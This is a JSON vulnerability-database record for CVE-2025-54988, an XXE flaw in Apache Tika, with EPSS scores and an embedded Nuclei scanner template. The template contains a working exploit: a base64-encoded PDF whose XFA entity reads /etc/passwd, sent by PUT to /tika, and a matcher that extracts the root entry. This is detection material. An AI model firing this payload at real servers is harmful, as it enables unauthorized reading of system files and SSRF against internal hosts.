{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-54988/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-54988/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-54988/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-54988/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-54988/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-54988/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-54988"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-54988"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.47948,"kev":false,"percentile":0.98856},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-54988.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-54988\n\ninfo:\n  name: Apache Tika - XXE Injection\n  author: tx1ee,s4e-io\n  severity: critical\n  description: |\n    Apache Tika versions 1.13 through 3.2.1 are vulnerable to XXE via malicious XFA in PDFs, allowing file read and SSRF attacks.\n  impact: |\n    An attacker can read sensitive server files or perform SSRF attacks against internal infrastructure.\n  remediation: |\n    Upgrade to Apache Tika 3.2.2 or later.\n  reference:\n    - https://lists.apache.org/thread/8xn3rqy6kz5b3l1t83kcofkw0w4mmj1w\n    - https://lists.debian.org/debian-lts-announce/2025/10/msg00030.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-54988\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    epss-score: 0.47948\n    epss-percentile: 0.98859\n    cwe-id: CWE-611\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: apache\n    product: tika\n    shodan-query: title:\"Apache Tika\"\n    fofa-query: title=\"Apache Tika\"\n  tags: cve,cve2025,apache,tika,xxe,ssrf,lfr,vuln,vkev\n\nvariables:\n  xxe_payload: \"JVBERi0xLjcKJeLjz9MKMSAwIG9iago8PCAvVHlwZSAvQ2F0YWxvZyAvUGFnZXMgMiAwIFIgL0Fjcm9Gb3JtIDUgMCBSID4+CmVuZG9iagoyIDAgb2JqCjw8IC9UeXBlIC9QYWdlcyAvS2lkcyBbMyAwIFJdIC9Db3VudCAxID4+CmVuZG9iagozIDAgb2JqCjw8IC9UeXBlIC9QYWdlIC9QYXJlbnQgMiAwIFIgL01lZGlhQm94IFswIDAgNjEyIDc5Ml0gL0NvbnRlbnRzIDQgMCBSID4+CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggMCA+PgpzdHJlYW0KZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8IC9GaWVsZHMgW10gL1hGQSA2IDAgUiAvTmVlZEFwcGVhcmFuY2VzIHRydWUgPj4KZW5kb2JqCjYgMCBvYmoKPDwgL0xlbmd0aCA3NTggPj4Kc3RyZWFtCjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+CjwhRE9DVFlQRSB4ZHA6eGRwIFsKICA8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgo8eGRwOnhkcCB4bWxuczp4ZHA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGRwLyIgeG1sOmxhbmc9ImVuIj4KPGNvbmZpZyB4bWxucz0iaHR0cDovL3d3dy54ZmEub3JnL3NjaGVtYS94Y2kvMy4xLyI+CiAgPHByZXNlbnQ+PHBkZj48dmVyc2lvbj4xLjc8L3ZlcnNpb24+PC9wZGY+PC9wcmVzZW50Pgo8L2NvbmZpZz4KPHRlbXBsYXRlIHhtbG5zPSJodHRwOi8vd3d3LnhmYS5vcmcvc2NoZW1hL3hmYS10ZW1wbGF0ZS8zLjMvIj4KICA8c3ViZm9ybSBuYW1lPSJmb3JtMSIgbGF5b3V0PSJ0YiI+CiAgICA8cGFnZVNldD48cGFnZUFyZWE+PGNvbnRlbnRBcmVhLz48bWVkaXVtIHN0b2NrPSJsZXR0ZXIiLz48L3BhZ2VBcmVhPjwvcGFnZVNldD4KICAgIDxzdWJmb3JtPgogICAgICA8ZmllbGQgbmFtZT0iZGF0YSI+PHVpPjx0ZXh0RWRpdC8+PC91aT48dmFsdWU+PHRleHQ+Jnh4ZTs8L3RleHQ+PC92YWx1ZT48L2ZpZWxkPgogICAgPC9zdWJmb3JtPgogIDwvc3ViZm9ybT4KPC90ZW1wbGF0ZT4KPHhmYTpkYXRhc2V0cyB4bWxuczp4ZmE9Imh0dHA6Ly93d3cueGZhLm9yZy9zY2hlbWEveGZhLWRhdGEvMS4wLyI+CiAgPHhmYTpkYXRhPjxmb3JtMT48ZGF0YT4meHhlOzwvZGF0YT48L2Zvcm0xPjwveGZhOmRhdGE+CjwveGZhOmRhdGFzZXRzPgo8L3hkcDp4ZHA+CmVuZHN0cmVhbQplbmRvYmoKeHJlZgowIDcKMDAwMDAwMDAwMCA2NTUzNSBmIAowMDAwMDAwMDE2IDAwMDAwIG4gCjAwMDAwMDAwODIgMDAwMDAgbiAKMDAwMDAwMDE1MiAwMDAwMCBuIAowMDAwMDAwMjYyIDAwMDAwIG4gCjAwMDAwMDAzMjMgMDAwMDAgbiAKMDAwMDAwMDM5OSAwMDAwMCBuIAp0cmFpbGVyCjw8IC9TaXplIDcgL1Jvb3QgMSAwIFIgPj4Kc3RhcnR4cmVmCjEyOTUKJSVFT0YK\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n      - \"{{BaseURL}}/version\"\n\n    stop-at-first-match: true\n    redirects: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - 'Apache Tika'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - \"compare_versions(version, '>= 1.13', '< 3.2.2')\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - \"Apache Tika ([0-9]+\\\\.[0-9]+\\\\.[0-9]+)\"\n\n  - method: PUT\n    path:\n      - \"{{BaseURL}}/tika\"\n\n    headers:\n      Accept: text/plain\n      Content-Type: application/pdf\n\n    body: \"{{base64_decode(xxe_payload)}}\"\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - \"(root:.?:0:0:[^\\\\n]+)\"\n# digest: 4a0a00473045022044a8a5587584ce35bcba439ebcca618876c5a26297a59967e53aa2b6dfe08449022100c514d953006c44b7dd1df989268bd15609ea3acb79a7631670993cdcb4f12c65:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-54988"}